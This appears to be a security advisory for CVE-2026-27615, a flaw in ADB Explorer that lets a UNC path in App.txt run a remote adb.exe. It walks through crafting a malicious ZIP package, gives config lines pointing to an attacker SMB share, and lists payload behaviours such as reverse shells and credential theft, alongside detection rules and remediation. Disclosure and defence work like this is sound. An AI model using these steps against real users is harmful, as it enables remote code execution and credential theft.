CVE-2026-27615
CVE ID: CVE-2026-27615
Product: ADB Explorer
Affected Versions: All versions prior to Beta 0.9.26022
Fixed Version: Beta 0.9.26022
CVSS v3.1 Score: 8.8 (High)
Severity: High
Attack Vector: Local (User-assisted, network resource execution)
Attack Complexity: Low
Privileges Required: None
User Interaction: Required
Scope: Unchanged
Confidentiality Impact: High
Integrity Impact: High
Availability Impact: High
Exploitability: High (simple configuration manipulation)
Exploit Availability: No public exploit kit observed, but trivial proof-of-concept achievable
Executive Summary
CVE-2026-27615 is a high-severity vulnerability in ADB Explorer, a Windows GUI tool that wraps Android Debug Bridge (ADB). The issue stems from insecure handling of the ManualAdbPath configuration setting.
The application allows the ADB binary path to be defined in a local settings file (App.txt). In vulnerable versions, this path can be set to a Universal Naming Convention (UNC) network path (e.g., \\attacker\share\adb.exe).
If a victim launches the application using a manipulated configuration file, the software will execute the attacker-controlled binary from a remote network share, resulting in arbitrary code execution with the same privileges as the user running the application.
The vulnerability was fixed in version Beta 0.9.26022 by preventing UNC path usage and restricting executable path validation.
Technical Breakdown
Root Cause
The vulnerability exists due to improper validation of the ManualAdbPath configuration variable.
Instead of enforcing:
- Local absolute paths
- Verified binary signatures
- Restricted directory execution
The application accepts:
- UNC paths (
\\server\share\adb.exe) - Potentially remote SMB-hosted executables
- Arbitrary file locations without integrity verification
This results in an implicit trust of external resources.
How the Attack Works
Step-by-Step Exploitation Scenario
- The attacker creates a malicious
adb.exe. - The malicious executable is hosted on an attacker-controlled SMB share: \\malicious-server\share\adb.exe
- The attacker crafts a modified
App.txtsettings file: ManualAdbPath=\\malicious-server\share\adb.exe - The attacker packages:
- A legitimate copy of ADB Explorer
- The malicious
App.txt - Possibly inside a ZIP archive
- The victim extracts and runs the shortcut pointing to this configuration file.
- ADB Explorer reads
ManualAdbPath. - The application executes the remote binary.
- Malicious code runs under the victim’s user context.
No exploit chain complexity is required. The application itself executes the malicious payload.
Why This is Dangerous
- The executed binary is fully attacker-controlled.
- The payload runs with the user’s permissions.
- It bypasses common download protections if delivered via archive.
- It can evade simple antivirus detection if dynamically modified.
If the victim has:
- Local admin rights → full system compromise.
- Access to sensitive corporate resources → lateral movement risk.
Exploitability Assessment
| Factor | Evaluation |
|---|---|
| Requires user interaction | Yes |
| Requires authentication | No |
| Remote network access required | Yes |
| Exploit complexity | Very low |
| Reliable exploitation | Yes |
This vulnerability is highly reliable once the victim runs the manipulated application package.
Example Malicious Payload Behavior
The attacker-controlled adb.exe could:
- Drop a reverse shell
- Create persistence via registry: HKCU\Software\Microsoft\Windows\CurrentVersion\Run
- Download secondary payloads
- Exfiltrate browser credentials
- Install ransomware
- Dump local credential stores
Because it replaces a legitimate binary, it may blend into operational traffic.
Proof of Concept
A simple proof-of-concept involves:
- Setting up an SMB share.
- Placing a benign executable (e.g., calculator launcher renamed to adb.exe).
- Modifying
App.txt: ManualAdbPath=\\192.168.1.50\public\adb.exe - Launching ADB Explorer.
The remote binary executes immediately when ADB functions are triggered.
No advanced exploitation techniques are required.
MITRE ATT&CK Mapping
| Tactic | Technique | ID |
|---|---|---|
| Initial Access | User Execution | T1204 |
| Execution | Command and Scripting Interpreter | T1059 |
| Execution | Shared Modules | T1129 |
| Lateral Movement | SMB/Windows Admin Shares | T1021.002 |
| Persistence | Registry Run Keys | T1547.001 |
Detection Strategy
1. Windows Event Logs
Process Creation Logs (Event ID 4688)
Monitor for:
adb.exeexecuted from UNC paths- Executables launched from
\\network paths
Suspicious command-line example:
\\server\share\adb.exe
Log Source:
- Windows Security Log
- Sysmon Event ID 1 (Process Create)
2. Sysmon Detection Rule
Monitor for network path execution:
EventID: 1
Image: \\*\*.exe
Condition: Image starts with \\
Flag any process where:
Imagebegins with\\- Parent image is ADBExplorer.exe
3. File Integrity Monitoring
Watch for:
- Modifications to
App.txt - Changes to
ManualAdbPathvalue
Suspicious pattern:
ManualAdbPath=\\
4. Network Monitoring
Monitor SMB outbound connections from user workstations to unknown hosts.
Indicators:
- Unexpected SMB sessions
- SMB to non-corporate IP ranges
- Executable file transfer over SMB
5. EDR Behavioral Indicators
Alert if:
- Application executes binary outside its installation directory
- Executable runs from remote path
- Child processes spawned from network-based executable
Threat Hunting Queries
Hunt 1: Network-based Execution
Search for processes where:
ImagePath LIKE '\\\\%'
Hunt 2: Modified Configuration Files
Search endpoints for:
ManualAdbPath=\\
Remediation
Immediate Actions
- Upgrade to ADB Explorer Beta 0.9.26022 or later
- Audit systems for:
- Modified
App.txt - UNC-based executable execution
- Modified
- Block execution from UNC paths via Group Policy:
- Software Restriction Policies
- AppLocker
- Windows Defender Application Control (WDAC)
Official Patch
The vulnerability is officially resolved in:
ADB Explorer Beta 0.9.26022
The fix includes:
- Validation to block UNC paths
- Restriction to local executable paths
- Improved configuration handling
Upgrade directly through the official ADB Explorer distribution channel.
Hardening Recommendations
- Disable execution from remote SMB paths using:
Computer Configuration → Windows Settings → Security Settings → Software Restriction Policies
- Enforce AppLocker rules to restrict executable paths
- Block unsigned binaries
- Restrict outbound SMB traffic
Business Impact
If exploited in an enterprise environment, this vulnerability can lead to:
- Full workstation compromise
- Credential theft
- Domain lateral movement
- Ransomware deployment
- Data exfiltration
Because it relies on social engineering, it is especially effective in environments where software is shared internally via ZIP files or network shares.
Final Risk Assessment
CVE-2026-27615 is a classic insecure configuration trust vulnerability. While it requires user interaction, the exploit is straightforward and highly reliable. In environments where users have administrative privileges, impact becomes critical.
Organizations using ADB Explorer should treat this as a priority patch and audit for any historical misuse of UNC-based executable paths.
